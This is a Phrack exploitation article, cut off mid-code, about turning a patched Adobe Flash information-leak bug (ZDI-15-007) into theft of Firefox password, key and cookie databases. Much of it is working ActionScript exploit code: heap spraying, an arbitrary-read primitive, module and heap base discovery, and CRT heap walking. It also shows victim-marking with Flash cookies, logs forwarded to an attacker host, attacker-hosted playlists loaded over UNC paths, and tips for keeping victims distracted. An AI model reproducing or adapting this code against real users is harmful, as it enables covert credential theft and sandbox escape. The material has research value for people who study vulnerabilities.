==Phrack Inc.== Volume 0x0f, Issue 0x45, Phile #0x0d of 0x10 |=-----------------------------------------------------------------------=| |=---------------=[ The Art of Exploitation ]=---------------=| |=-----------------------------------------------------------------------=| |=--------------=[ Obituary for an Adobe Flash Player bug ]=-------------=| |=-----------------------------------------------------------------------=| |=------------------------------=[ huku ]=-------------------------------=| |=------------------------=[ huku@grhack.net ]=--------------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 0 - Introduction 1 - Preparing a debugging environment 1.1 - Your first AS3 "Hello, World!" 1.2 - Printing output 2 - Useful ActionScript classes 2.1 - Marking owned clients 2.2 - Preventing the unresponsive script pop-up from showing up 3 - The bug 3.1 - Analysis 3.2 - Exploitation 3.2.1 - Assessment 3.2.2 - From relative to absolute information leak 3.2.3 - Discovering Flash Player base address 3.2.4 - Discovering the CRT heap address 3.2.5 - Walking CRT heap allocations 3.2.6 - Reading arbitrary files 3.2.7 - Overall exploit methodology 3.2.8 - Logz 4 - Conclusion 5 - Thanks 6 - References 7 - Codez --[ 0 - Introduction The 21st of January was a sad day. A beautiful vulnerability, ZDI-15-007 [01], was killed by a person using the alias "bilou". It was one of those days that some people had to fire up IDA Pro again and start reversing in search of new 0days. Yes, this article will deal with some Adobe Flash exploitation, as if the P0 circus was not enough already (to which the author regrets having taken part by posting comments a couple of times). Let's get this straight, Adobe Flash is indeed high in a security researcher's audit list, and there's a good reason for that, but all this defamation against Adobe's products, is, obviously well lead by other coorporate organizations whose products are not less vulnerable [04]. It's kinda funny how Firefox, for example, #2 in the list of top 50 products by total number of distinct vulnerabilities (according to [03]), denies to activate a vulnerable Adobe Flash plug-in, listed under #15. How wonderful would it be if Flash did the same? Imagine Flash, for example, denying to run on shitty browsers [02]. In a security circus where famous security researcher celebrities have chosen sides, we suggest that hackers benefit from both sides' idiocy. This article will deal with the aforementioned vulnerability. We will show how it can be leveraged to disclose, not only sensitive information from a sandboxed Adobe Flash process, but other sensitive information from the target's filesystem as well. More specifically, we will focus on how it's possible to steal the Firefox SQLite databases containing stored passwords, encryption keys and cookies from a victim's computer. These passwords, can then be used to access the target machine via other means thus allowing one to indirectly, escape the sandbox restrictions imposed by Adobe Flash on Firefox. Since our 0days have long stopped working, it's a good chance for us to share our experience with the community. This article is organised as follows. The first section deals with how a working/debugging environment for Flash development is set up. We believe that this will help the interesting reader get started with Adobe Flash exploitation and will aid him/her in discovering his/her own 0day vulnerabilities. The second section deals with certain problems that may arise during client side exploitation and presents simple ActionScript tricks that can be used to resolve them. Last but not least, the third section analyzes the actual vulnerability and the steps taken to achieve arbitrary file stealing by abusing a simple information/memory disclosure primitive. It should be noted that the code snippets and other information presented in the remainder of this article correspond to version 15.0.0.189 of the NPAPI release of Adobe Flash Player. The vulnerability is present in older versions as well, but the author was unable to find older IDA Pro databases in his hard drive :P --[ 1 - Preparing a debugging environment Before delving into the specifics of ZDI-15-007, let's have a look at preparing the minimal toolset for compiling, running and debugging ActionScript code. To avoid using complex commercial IDEs, we will limit ourselves to publicly available open source software instead, which is more than enough for building SWF objects. The development toolchain for ActionScript applications consists of the following components: * The FLEX SDK distributed by the Apache Foundation [05] or Adobe [06]. You should stick with the first. Just visit the Apache foundation homepage and download the automated installer. * The runtime targeting the Flash version of interest. Usually named "playerglobal.swc". This is automatically downloaded for you by the Flex SDK installer. You can always grab the latest version from [17]. * Your favorite console editor (vim, emacs, nano, whatever). I guess all Phrack readers know how to install stuff, so I'll leave this as an exercise to the reader :P As an alternative to the above, one may use Haxe [20]. Haxe allows a developer to write code using a strictly typed programming language and then compile it, or even cross-compile it, to a set of possible target runtimes. Adobe Flash is in the list of supported application runtimes. In this article, however, we will stick to the first of the two options, but Haxe is also worth exploring from an attacker's perspective. ----[ 1.1 - Your first AS3 "Hello, World!" Fire up your favorite text editor and create a file named "Test.as" with the following contents. Just like Java, AS3 source code files are named after the public class they declare. --- snip --- package { import flash.display.Sprite; public class Test extends Sprite { public function Test() { trace("Hello, world!\n"); } } } // vim: set syntax=cpp: --- snip --- Unless you have a vim syntax file for AS3, the last comment will put some color in your editor. The following is a typical Makefile used to build "Test.swf" from "Test.as". Before running `make', make sure you have set `SDK_PREFIX' to the directory where you have installed the Flex SDK. --- snip --- SDK_PREFIX=/var/flex MXMLC=$(SDK_PREFIX)/bin/mxmlc MXMLC_FLAGS=-compiler.optimize -warnings SRCS=Test.as BIN=Test.swf all: $(MXMLC) $(SRCS) $(MXMLC_FLAGS) -output $(BIN) .PHONY: clean clean: rm -fr $(BIN) --- snip --- Running `make' will generate the required SWF file. --- snip --- $ make ~/flex/bin/mxmlc Test.as -compiler.optimize -warnings -output Test.swf Loading configuration file ~/flex/frameworks/flex-config.xml Test.swf (581 bytes) --- snip --- ----[ 1.2 - Printing output Admittedly, the best way of debugging code is printing output (who needs `gdb' anyway?). The AS3 API provides a function named `trace()' which is used to produce debugging messages. However, the messages can only be viewed when a debugging version of Adobe Flash Player is used and the SWF is run from within Flash Builder Studio. This is bad news; no clients use a debugging version of Flash and I prefer spending 50$ for anything other than buying Flash Studio :) I can think of at least two cases where output messages can be useful: * During development; seeing what's wrong with your exploit is fastest way of resolving issues with your code and improving your exploit's reliability. * During production; watching clients being owned - priceless :) For the first case output messages can be printed directly in the users browser. For the second case, logs can be forwarded to a remote log server controlled by the attacker. `Console' class, implemented in file "Console.as" in the attached exploit, is capable of performing both. The boolean constants `LOCAL_DEBUG' and `REMOTE_DEBUG' control what kind of logging strategy is used: --- snip --- public class Console { // Print messages to a standard text field. private const LOCAL_DEBUG:Boolean = true; // Forward messages to remote host. Our tool, named `xmlsocketd.py', is // supposed to be waiting there for incoming connections. private const REMOTE_DEBUG:Boolean = true; private const REMOTE_HOST:String = "1.2.3.4"; private const REMOTE_PORT:int = 1234; ... } --- snip --- When `LOCAL_DEBUG' is set to `true', as shown above, a text field is created and logs are written in it. The text field is automatically resized and the output scrolls down just like your favorite terminal emulator. If `REMOTE_DEBUG' is true, an XML socket is used to forward messages to a remote machine. The attached exploit comes with a simple Python server that receives the messages and writes them in a SQLite database. A simple web interface can be used to view them. --[ 2 - Useful ActionScript classes Let's forget about the actual vulnerability for a moment and let's focus on various problems that may arise during the exploitation process. Each of the following sections deals with such a problem and presents a simple solution. ----[ 2.1 - Marking owned clients A first problem that may arise when writing AS3 exploits (in fact, during client side exploitation in general) is how already exploited clients are distinguished from clients on which the exploit failed and clients that are targeted for the first time. If for some reason the exploit fails on a client, maybe because the Flash Player plug-in crashed because of accessing an unmapped memory address for example, it's good not to run the exploit again next time the client in question refreshes the malicious web page. A means to achieving this kind of behavior is using some kind of persistent information on the client's side. The two most well known methods are the following: * Cookies. We all know and kinda love cookies. * JavaScript persistent storage APIs * HTML5 web storage [07] * WebSQL [08]. Nowadays considered obsolete, but some browsers still support it Even though the mechanisms above can indeed be used as a possible solution, they both come with their drawbacks. Cookies are not that reliable (e.g. private browsing, cookies being cleaned up when the browser exits), while a JavaScript based solution requires some form of communication between the JavaScript code and our Flash exploit. Even though this is possible [09], it kind of complicates things. A pure AS3 solution is preferred. For the sake of developing the attached Flash exploit, I decided to make use of ActionScript's `SharedObject' class [10]. This API allows for managing persistent storage on the clients side directly from the AVM engine and it's as simple as the equivalent JavaScript APIs. An additional benefit is that browsers usually don't clean the, so called, Flash cookies and thus marking a client this way may be better and more reliable. The logic is implemented in `Persistence.as' and consists of two simple methods, namely `is_marked()', for testing wether a client has been marked, and `mark()' that uses persistent storage to mark a victim. The code for `is_marked()' is shown below: --- snip --- public static function is_marked():Boolean { var ret:Boolean = true; var lso:SharedObject = SharedObject.getLocal(Persistence.ID); // If cookie not present, or more than the specified amount of time has // elapsed, the client is not considered marked. if(!("time" in lso.data) || (new Date()).time - lso.data["time"] >= Persistence.INTERVAL) ret = false; lso.close(); return ret; } --- snip --- The code checks if a cookie with a chosen name, `Persistence.ID', already exists in the victims computer. The cookie is supposed to hold the timestamp of the last exploit attempt. If more than `Persistence.INTERVAL' milliseconds have elapsed since that time, or if the cookie does not exist in the victim's computer, then the client is considered unmarked and the exploitation proceeds. Otherwise, the exploit exits immediately. Successful exploitation attempts result in the victim being marked, so that the malicious SWF is not activated again if the user refreshes the container HTML page. --- snip --- public static function mark():void { var lso:SharedObject = SharedObject.getLocal(Persistence.ID); lso.data["time"] = (new Date()).time; lso.flush(); lso.close(); } --- snip --- In the attached exploit a client is marked by installing a Flash cookie named "cookie". ----[ 2.2 - Preventing the unresponsive script pop-up from showing up As it wil become apparent later, successful exploitation of the analyzed vulnerability takes a certain amount of time. It's important, for example, that, until all the required files from the victim's computer have been uploaded to the attacker's server, the whole exploitation process is not interrupted. A common problem, that arises when exploiting "plugin-container.exe" processes, is the unresponsive script pop-up shown by Firefox (why this happens is out of the scope of this article). This section deals with the aforementioned problem and presents a simple solution, implemented in the attached exploit, for avoiding annoying browser pop-ups. Just like JavaScript, ActionScript has its own implementation of web workers, an abstraction over an operating system's threading mechanism. Using web workers allows for running several SWF files in parallel which, in turn, allows for executing the main exploitation logic in separate thread, thus not keeping the main plug-in thread busy. While the exploitation process is carried out in the background, the attacker can, for example, present a silly Flash game to the victim to buy some time. Embedding an exploit to your favorite porn movie is also a good idea :P The exploit's entry point, which for obvious purposes was named "Main", looks like the following: --- snip --- public class Main extends MovieClip { // Array of URIs to worker SWF files; add extra workers here. private const workers:Array = new Array("WorkerMain.swf"); public function Main() { this._mcv = new Vector.(); this._con = new Console(this); if(Persistence.is_marked() == false) // (1) { for each(var swf_url:String in this.workers) { this._con.msg("Will now load worker from " + swf_url); swf_url += "?rnd=" + getTimer().toString(16); var req:URLRequest = new URLRequest(swf_url); var ldr:URLLoader = new URLLoader(); ldr.dataFormat = URLLoaderDataFormat.BINARY; ldr.addEventListener(Event.COMPLETE, this._on_complete); ldr.load(req); } } else this._con.msg("Target is marked"); } } --- snip --- At (1), the `Persistence' class (presented in the previous section) is used to check if the client has already been successfully exploited from a previous run of the exploit. If not, or if this is a new client, the SWF files specified in the `workers[]' array are loaded one by one using URL requests (the "?rnd=" URL parameter is used for avoiding possible caching from the client's side, a common trick used by scripting languages). Method `_on_complete()' is executed for each worker successfully loaded from its corresponding URL. Eventually each worker starts running by calling the `start()' method. --- snip --- private function _on_complete(evt:Event):void { ... worker.start(); this._con.msg("New worker started"); } --- snip --- This function will also create a `MessageChannel' instance for each worker, so that asynchronous communication with the main thread is possible. In the attached exploit, the message channel is used by the workers to forward debugging messages to the main thread, who will, in turn, forward them to the output stream specified in "Console.as". The relevant code is not presented here, as this feature is just a minor, but useful, detail of the exploit. --[ 3. The bug ----[ 3.1 Analysis TL;DR, the vulnerability lies in method `getABRProfileInfoAtIndex()' of class `AVSegmentedSource'. Unfortunately, at the time of writing, the `AVSegmentedSource' API is still undocumented. Any information, that will be presented in the following sections, was recovered by reverse engineering the ActiveX and NPAPI versions of Adobe Flash. The bug was also present in the PPAPI version of Chrome (a.k.a. "pepperflash.dll"), but the author didn't have enough time to investigate further. `AVSegmentedSource' is the class responsible for HLS playback. According to Wikipedia [11]: HTTP Live Streaming (also known as HLS) is an HTTP-based media streaming communications protocol implemented by Apple Inc. as part of its QuickTime, Safari, OS X, and iOS software. It works by breaking the overall stream into a sequence of small HTTP-based file downloads, each download loading one short chunk of an overall potentially unbounded transport stream. As the stream is played, the client may select from a number of different alternate streams containing the same material encoded at a variety of data rates, allowing the streaming session to adapt to the available data rate. To start playback, a client has to load a, so called, HLS manifest, which is simply an .m3u or .m3u8 (unicode version of .m3u) playlist. Wikipedia [11] explains: At the start of the streaming session, it downloads an extended M3U playlist containing the metadata for the various sub-streams which are available. The following snippet shows how one can do that programmatically in AS3. --- snip --- var source:AVSegmentedSource = new AVSegmentedSource(); var stream:AVStream = new AVStream(source); ... stream.load("C:\\playlist.m3u8"); stream.play(); --- snip --- People familiar with ActionScript development should have already noticed that the path given as the first argument to `load()' is the filename of a local file residing in the user's filesystem (back when I was developing this exploit, `load()' failed when a URL was passed to it, maybe this problem has been fixed by now). This, however, kind of contradicts the sandbox model of Adobe Flash; Flash applications are not allowed to write or even read local files. So, how is a SWF movie supposed to load an HLS manifest, if it has to write it to the user's filesystem first? Unless `load()' supports URLs in recent versions of Flash Player, playback of HLS streams is not supported on platforms other than Microsoft Windows; on Windows systems, one can bypass this limitation by using UNC paths, either in the standard "\\server\path" format or using the WebDAV notation "\\server@port\path", which, unfortunately, is not supported on Windows versions greater than Microsoft Windows 7. An attacker can place an arbitrary M3U8 playlist on a SMB/SAMBA server under his or her control and have the target client load it as shown below: --- snip --- // Works on all Microsoft Windows versions. stream.load("\\\\1.2.3.4\\exploit\\playlist.m3u8"); stream.play(); // Works only on Microsoft Windows 7 and probably XP. stream.load("\\\\1.2.3.4@8080\\exploit\\playlist.m3u8"); stream.play(); --- snip --- As a side note, the author would like to stress the fact that this article will not deal with the server component of the attached exploit that serves the malicious M3U8 files. The interested reader is advised to have a look at "m3u8.php", "dumper.php" and the relevant code in "WorkerMain.as". These details have been intentional left out so that the reader's attention is not focused on simple technical issues like setting up Samba, Apache, DAV and so on. For more information have a look at "README.md" in the exploit's top-level directory. HLS is quite flexible. An M3U8 playlist may specify the same media source (e.g. your favorite porn video) in various encodings and various bitrates. This way clients can adapt based on availability of bandwidth or other resources. Additionally a media source is allowed to be broken in smaller pieces, called periods, so that clients can faster seek to the required time location. Since the author is not really a media guy, the information and terminology in the following paragraphs is presented ad referendum. Let's see an example M3U8 manifest taken from [16]: --- snip --- #EXTM3U #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=150000,RESOLUTION=416x234, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/low/index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=240000,RESOLUTION=416x234, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/lo_mid/index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=440000,RESOLUTION=416x234, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/hi_mid/index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=640000,RESOLUTION=640x360, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/high/index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=64000,CODECS="mp4a.40.5" http://example.com/audio/index.m3u8 --- snip --- The manifest shown above defines 5, so called, bitrate profiles for the same media source. A client can choose any of these. For example, a low bandwidth client would pick the first entry and would proceed by loading the M3U8 manifest specified in the first "#EXT-X-STREAM-INF" entry. In turn, this manifest may look like the following: --- snip --- #EXTM3U #EXT-X-PLAYLIST-TYPE:EVENT #EXT-X-TARGETDURATION:10 #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10, fileSequence0.ts #EXTINF:10, fileSequence1.ts #EXTINF:10, fileSequence2.ts #EXTINF:10, fileSequence3.ts #EXTINF:10, fileSequence4.ts ... #EXTINF:10, fileSequence120.ts #EXTINF:10, fileSequence121.ts #EXT-X-ENDLIST --- snip --- The tag names starting with the hash character are not relevant right now. What is important is that the files named "fileSequenceXXX.ts" correspond to the media source's periods. Once loading of the HLS manifest is complete, the `AVSegmentedSource' instance may be used for querying information about the loaded manifest. One of the several methods exported by this class is `getABRProfileInfoAtIndex()'. The prototype of this API is shown below: --- snip --- getABRProfileInfoAtIndex(periodIndex:int, abrProfileIndex:int): AVABRProfileInfo --- snip --- The API requires two integers, the period index (the index of the media source piece) and the bitrate profile index. For example, to query the profile information for the period "fileSequenece1.ts" of the low bandwidth profile, one might do the following: --- snip --- source.getABRProfileInfoAtIndex(1, 0); --- snip --- The reader should have already guessed where the actual bug lies. The second argument passed to this API is not checked. The bug can be triggered by calling `getABRProfileInfoAtIndex()' as shown below: --- snip --- source.getABRProfileInfoAtIndex(0, 0xdeadbeef); --- snip --- Here's what's going on under the hood. The presented assembly snippet was taken from "NPSWF32_15_0_0_189.dll". --- snip --- ; This is `getABRProfileInfoAtIndex()' entry point sub_102354CC proc near ... xor ebx, ebx ... mov eax, [eax+40h] mov ecx, [ebp+arg_4] ; Profile index controlled by the attacker mov esi, [eax+ecx*4] ; Read pointer to AVABRProfileInfo (1) cmp esi, ebx jnz short loc_10235525 loc_10235525: ... push dword ptr [esi+8] ; Read 3 doublewords from `esi' (2) push dword ptr [esi+4] push dword ptr [esi] loc_1023553E: ... call sub_102347FC ; AVABRProfileInfo constructor loc_1023554D: pop edi pop ebx leave retn 8 ; Return AVABRProfileInfo sub_102354CC endp --- snip --- Argument `arg_4' is `abrProfileIndex' shown the API's definition and is fully controlled by the attacker. As it can be seen from the above assembly snippet, the integer passed to this method at (1) is not checked and it's used to access an array of pointers to `AVABRProfileInfo' instances each representing an available ABR profile specified in the loaded HLS manifest. A pointer is read from the memory address at "[EAX + abrProfileInfo * 4]" and stored in ESI. This pointer is then dereferenced 3 times at (2) to read three doublewords. All three of them are leaked back to the user as part of the returned `AVABRProfileInfo' instance. Accessing the leaked memory is just a matter of doing the following: --- snip --- // Our `Console' class defined in a previous section var con:Console = new Console(this); var info:AVABRProfileInfo = source.getABRProfileInfoAtIndex(0, 0xdeadbeef); // Print leaked values in hexadecimal format. con.msg(info.width.toString(16)); con.msg(info.height.toString(16)); con.msg(info.bitrate.toString(16)); --- snip --- ----[ 3.2 Exploitation ------[ 3.2.1 Assessment The following C++ pseudocode gives an oversimplified model for the aforementioned vulnerability. --- snip --- struct ABRProfileInfo { uint32_t width; uint32_t height; uint32_t bitrate; }; class AVSegmentedSource { private: struct ABRProfileInfo *profiles[]; ... public: struct ABRProfileInfo *getABRProfileInfoAtIndex(int, int); ... }; struct ABRProfileInfo *AVSegmentedSource::getABRProfileInfoAtIndex(int i, int j) { ... return this->profiles[j]; } AVSegmentedSource *source = new AVSegmentedSource(); AVABRProfileInfo *info; ... info = source->getABRProfileInfoAtIndex(i, j); printf("%x %x %x\n", info->width, info->height, info->bitrate); --- snip --- To successfully exploit this vulnerability an attacker will have to provide a number `j', the second argument to `getABRProfileInfoAtIndex(), such that `&profiles[j]' happens to fall on a mapped memory address, say 0x11111111, and the doubleword at this location holds a valid pointer to an `ABRProfileInfo' structure, say 0x22222222. If these conditions are met, the call to the vulnerable API will complete successfully and the attacker will be given back the three doublewords at 0x22222222 (member `width'), 0x22222222+4 (member `height') and 0x22222222+8 (member `bitrate') in the returned `ABRProfileInfo' structure. Assuming the attacker, somehow, controls the doubleword at 0x11111111, he or she can then leak three doublewords from an arbitrary memory address by first assigning the victim memory address at 0x11111111 and then triggering the vulnerability. The following figure shows the relationship between the various structures described so far. +------+ +--------------+ +---------+ | this |-------->| *profiles[0] |-------->| width | +------+ +--------------+ +---------+ | *profiles[1] |----+ | height | +--------------+ | +---------+ . . | | bitrate | . . | +---------+ . . | +--------------+ | +---------+ | *profiles[N] | .-------->| width | +--------------+ +---------+ | height | +---------+ | bitrate | +---------+ So far so good. However, assuming the attacker has no information regarding the virtual memory layout of the victim Flash process, there's no guarantee that for an arbitrary number `j', `&profiles[j]' will, in fact, be a mapped memory address. For the following we are going to make the assumption that the attacker has no information regarding the state of the Adobe Flash process and has no way of gaining insight about it. That is, we are going to assume that the presented vulnerability is the only vulnerability the attacker has knowledge about and thus no safe assumptions can be made about the value of `j'. ------[ 3.2.2 From relative to absolute information leak Ideally, one would attempt to place controlled data, a string for example, right next to the `profiles[]' array using well known and studied heap shaping techniques. Then, with a properly chosen value for `j', `&profiles[j]' would fall on the aformentioned controlled data region, resulting in total control on the address from where data will be leaked back to the attacker. This is definitely a good way to go, however the exploit attached in this article uses a different technique. Unfortunately, several years have passed since I discovered this vulnerability and I don't recall reason why I didn't follow this technique. IIRC `profiles[]' was not in the AVM managed heap and it was thus hard to control the heap contents right next to it. Hard, but not impossible I guess. Probably not the best strategy, but one that works, is to spray the heap with a few very large vectors of unsigned integers, hoping that a high memory address is reached and that this address holds user supplied data. The attached exploit allocates 64 such vectors, 0x01000000 bytes in size each, and the high address in question is assumed to be 0x0a000000, but that's an arbitrary choice, any high address properly chosen will do. It should be noted that the heap spray vectors should be filled with a doubleword value corresponding to the chosen high address, that is, in our case, we should set all elements of all vectors to 0x0a000000 for reasons that will become apparent later. Since a great deal of the memory space is filled with our vectors, supplying a quite large value for `j' has a good chance of making `&profiles[j]' to fall within one of the heap sprayed regions. The exploit will first attempt to leak a doubleword from `&profiles[0x01000000]'. A leaked value of 0x0a000000 is an indication that the heap spray has succeeded. --- snip --- private const VECNUM:uint = 64; private const VECSZ:uint = 0x01000000 / 4 - 2; ... private function _do_heap_spray():void { var v:Vector.; this._sv = new Vector.<*>(this.VECNUM); for(var i:uint = 0; i < this.VECNUM; i++) { v = new Vector.(this.VECSZ); for(var j:uint = 0; j < this.VECSZ; j++) v[j] = 0x0a000000; this._sv[i] = v; } } --- snip --- One might wonder why spraying the heap with just a few very large vectors may be better, as opposed to spraying with a large number of smaller vectors. Usually, we need to decrease the metadata to data ratio. The more vectors we instantiate the more metadata are allocated in the victim process' GC heap, the AVM managed heap. However, by allocating only a few very large vectors we can make sure heap space is mostly filled with user supplied unsigned integers and only a few bytes of metadata is used. The underlying C++ vector objects hold a pointer to a memory region that holds the actual data (for more information see [18]). This memory region has the following format. https://github.com/adobe-flash/avmplus/blob/master/core/avmplusList.h#L83 --- snip --- template struct ListData { uint32_t len; MMgc::GC* _gc; STORAGE entries[1]; }; --- snip --- While writing this article, the author came across the following GitHub repository, which was recently updated by Adobe! In this new version of "avmplus", the layout of the structure shown above has changed and XOR-based overflow protection has been added. https://github.com/adobe/avmplus/blob/master/core/avmplusList.h#L83 Now, let's assume that our heap spraying results in the partial memory layout depicted in the following figure. 0x0a000000 - X 0x01000000 0x22222222 0x0a000000 0x0a000000 ... 0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000010 0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000020 0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000030 0x0a000000 0x0a000000 0x0a000000 0x0a000000 ... 0x0a000000 + Y 0x0a000000 0x0a000000 0x0a000000 0x0a000000 As it was previously mentioned, the exploit assumes that heap spraying results in address 0x0a000000, an otherwise randomly chosen high heap address, falling within the container memory region of one of the 64 large vectors. This is depicted in the above schematic where address 0x0a000000 contains 0x0a000000, the value assigned in all vectors' elements. Notice that, in this case, dereferencing memory address 0x0a000000 returns 0x0a000000, the memory address itself. Let's assume that, for a quite large value of `j', say `j = 0x01000000', `&profiles[j]' happens to fall at `0x0a000000 + Y', then `profiles[j] = 0x0a000000' and consequently three doublewords will be leaked from 0x0a000000. So far, so good. By repeatedly calling `getABRProfileInfoAtIndex()' with decreasing values of `j', `&profiles[j]' will eventually point to `0x0a000000 - X + 4', `profiles[j]' will be equal to `0x22222222' and three doublewords will be leaked from that address. However, recall that this is the address of a C++ object (`_gc' member in `ListData' shown above), and consequently the first leaked doubleword will hold the object's virtual function table address. Additionally, `&profiles[j + 1]' is the pointer to the first element of the same container memory region. Notice that we don't know, and we shouldn't care, which of the 64 vectors this container belongs to. We now have two assets at hand: * A virtual function table pointer which can be used to determine the Flash Player module base address. * An easy way of reading arbitrary memory addresses. For each vector `v' in the set of spray vectors, se set `v[0] = 0xdeadbeef' and call `getABRProfileInfoAtIndex()' passing the aforementioned `j + 1' value as the second argument. This will result in 3 doublewords being leaked from 0xdeadbeef. All this may be confusing even if you are the most experienced exploit writer in the world. Take your time and think about it. The following function in "WorkerMain.as" implements the logic described so far. When it completes, `this._idx' is the value of `j + 1', and `this._vtable_address' is the leaked address of the C++ object's virtual function table. --- snip --- private function _get_vtable_and_index():Boolean { var ret:Boolean = false; var pi:AVABRProfileInfo; var idx:uint = 0x01000000; // If the first attempt to leak data returns 0, then we have either // landed on an invalid heap address (i.e. not covered by any of the // large vectors), or we're running on a very old Flash Player that // doesn't support HLS streaming. pi = this._source.getABRProfileInfoAtIndex(0, idx); if(pi.bitsPerSecond != 0) { while(pi.bitsPerSecond == 0x0a000000) { idx -= 1; pi = this._source.getABRProfileInfoAtIndex(0, idx); } this._idx = idx + 1; this._vtable_address = pi.bitsPerSecond; ret = true; } return ret; } --- snip --- Reading a doubleword from an arbitrary address, it's then just a matter of calling the function below (also defined in "WorkerMain.as"). --- snip --- // Read a doubleword from the given memory address. private function _read_dword(addr:uint):uint { var pi:AVABRProfileInfo; var ret:uint; ... // (1) for(var i:uint = 0; i < this.VECNUM; i++) this._sv[i][0] = addr; // (2) pi = this._source.getABRProfileInfoAtIndex(0, this._idx); ... ret = pi.bitsPerSecond; return ret; } --- snip --- At (1) we iterate over the 64 heap spray vectors and set their first element to the address from where we want to read a doubleword. We then call the vulnerable API, at (2), with the appropriate second argument that results in some vector's first element being dereferenced as a memory address. The value in `pi.bitsPerSecond' returns the leaked value. Moving one level up in the abstraction layers, the following function, implemented on top of `_read_dword()' given above, can be used to read arbitrary amounts of data from a given memory address. Its usefulness will become apparent later, but you can pretty much guess. --- snip --- // Read an arbitrary amount of bytes starting from the given memory // address. Note that we can't read less than 4 bytes at a time, so, // less than `len' bytes may be returned. private function _read(addr:uint, len:uint):String { var dw:uint; var raw:String = ""; // Align at a multiple of 4 (_downwards_, _not_ upwards) and then // subtract the number of bytes dereferenced every time the bug is // triggered. We do that in an attempt to avoid hitting unmapped // memory regions. len = len & ~3; if(this._readahead > 0) len -= this._readahead; for(var i:uint = 0; i < (len & ~3); i += 4, addr += 4) { dw = this._read_dword(addr); raw += String.fromCharCode(dw & 0x000000ff) + String.fromCharCode((dw & 0x0000ff00) >>> 8) + String.fromCharCode((dw & 0x00ff0000) >>> 16) + String.fromCharCode((dw & 0xff000000) >>> 24); } return raw; } --- snip --- ------[ 3.2.3 Discovering Flash Player base address As it was mentioned in 3.2.2, method `_get_vtable_and_index()', among other things, returns the address of a virtual function table discovered during the early steps of the exploit. Computing the base address of the Adobe Flash Player plug-in is now a matter of aligning the virtual table address to the previous multiple of the page size, reading a doubleword from that location and checking if the "MZ" signature (0x5a4d) is there. If not, 0x1000 is subtracted from the address in question and the process is repeated. Method `_get_flash_address()' in "WorkerMain.as" implements the logic described in this paragraph. --- snip --- // Attempt to locate the Flash Player base address. private function _get_flash_address():void { var addr:uint = this._vtable_address & 0xfffff000; var dw:uint; dw = this._read_dword(addr); while((dw & 0x0000ffff) != 0x00005a4d) { addr -= 0x1000; dw = this._read_dword(addr); } this._flash_address = addr; } --- snip --- When `_get_flash_address()' completes, `this._flash_address' will hold the base address of the Adobe Flash Player plug-in. ------[ 3.2.4 Discovering the CRT heap address Being able to to read doublewords from arbitrary memory addresses, means one can easily locate the address of the Microsoft Windows heap used by the Adobe Flash plug-in process. The following assembly snippet can be found in `__heap_init()', a function found in most PE executables' early initialization code. --- snip --- call ds:HeapCreate mov __crtheap, eax --- snip --- The variable named `__crtheap' is a global holding a `HANDLE' to the CRT heap. However, heap `HANDLE' values are, in fact, heap base addresses. An attacker may exploit the information leak vulnerability to read the contents of this global variable and discover the sandboxed child's CRT heap base address. Taking into account the information presented in the previous sections, it's quite trivial to achieve this: * Set `v[0] = &__crtheap' for each heap spray vector `v'. * Trigger the vulnerability by calling `getABRProfileInfoAtIndex()'. The value of `&__crtheap' can easily be located by searching the Flash plug-in's text segment for the following byte pattern. The wildcards marked with "??" correspond to the address of `HeapCreate()'. The doubleword that follows this pattern is `&__crtheap'. 68 00 10 00 00 50 ff 15 ?? ?? ?? ?? a3 The following function, found in the exploit's "WorkerMain.as", is responsible for discovering the CRT heap address. It makes use of `this._read_dword()', the function that abstracts the vulnerability details away and allows the AS3 programmer to read data from arbitrary memory addresses. --- snip --- // Locate the address of `__crtheap', the variable that points to the // process' main heap, and dereference it to read the heap's address. private function _get_heap_address():void { var match:RegExp = /\x68\x00\x10\x00\x00\x50\xff\x15....\xa3/; var addr:uint = this._flash_address; var raw:String; var i:int; raw = this._read(addr, 0x1000) while((i = raw.search(match)) < 0) { addr += 0x1000; raw = this._read(addr, 0x1000) } addr += i + 13; addr = this._read_dword(addr); this._heap_address = this._read_dword(addr); this._parser = new CRTHeapParser(this._read_dword); } --- snip --- With this in hand, one may walk all heap allocations and read all data reachable in the heap at the time the exploit executes. Notice that, the GC heap, Adobe Flash's own heap allocator, acts on top of the Microsoft Windows CRT heap. ------[ 3.2.5 Walking CRT heap allocations Once the CRT heap address has been leaked, walking the whole heap is pretty straightforward. Luckily for an attacker, Chris Valasek and Tarjei Mandt have done a great work at documenting the Microsoft Windows heap internals ([13], [14], [15]). The Windows heap parsing logic is implemented in "CRTHeapParser.as" in class `CRTHeapParser'. The class is quite abstract, the reader can use it in any information leak vulnerability. It effectively implements the equivalent of `HeapWalk()' in AS3. The constructor expects a single argument, a function used to read a doubleword from an arbitrary memory address (see the definition of `_read_dword()' later in this section). --- snip --- this._parser = new CRTHeapParser(this._read_dword); --- snip --- Once a `CRTHeapParser' instance has been created, the heap can be walked using the method `walk()' as shown below: --- snip --- this._parser.walk(this._heap_address, this._get_username_cb); --- snip --- The first argument is the address of heap to walk (a Windows application may have more than one heap) while the second is a callback to call for each discovered heap allocation. The name of the shown callback function will be explained later. --- snip --- private function _get_username_cb(address:uint, size:uint):Boolean { ... } --- snip --- The callback receives two arguments. The address of a heap allocation and the allocation size. It's up to the callback implementer to read the contents of this heap allocation (using the information leak exploit) and discover its contents. --- snip --- // Read a doubleword from the given memory address. private function _read_dword(addr:uint):uint { var pi:AVABRProfileInfo; var ret:uint; // Check if the readahead crosses a page boundary. If yes, then the // next page may be unmapped. var cross_page:Boolean = ((addr + this._readahead) & 0xfffff000) != (addr & 0xfffff000); // If so, subtract the readahead from the address to be dereferenced // and return `pi.height' instead of `pi.bitsPerSecond' :) if(cross_page && this._readahead > 0) addr -= this._readahead; for(var 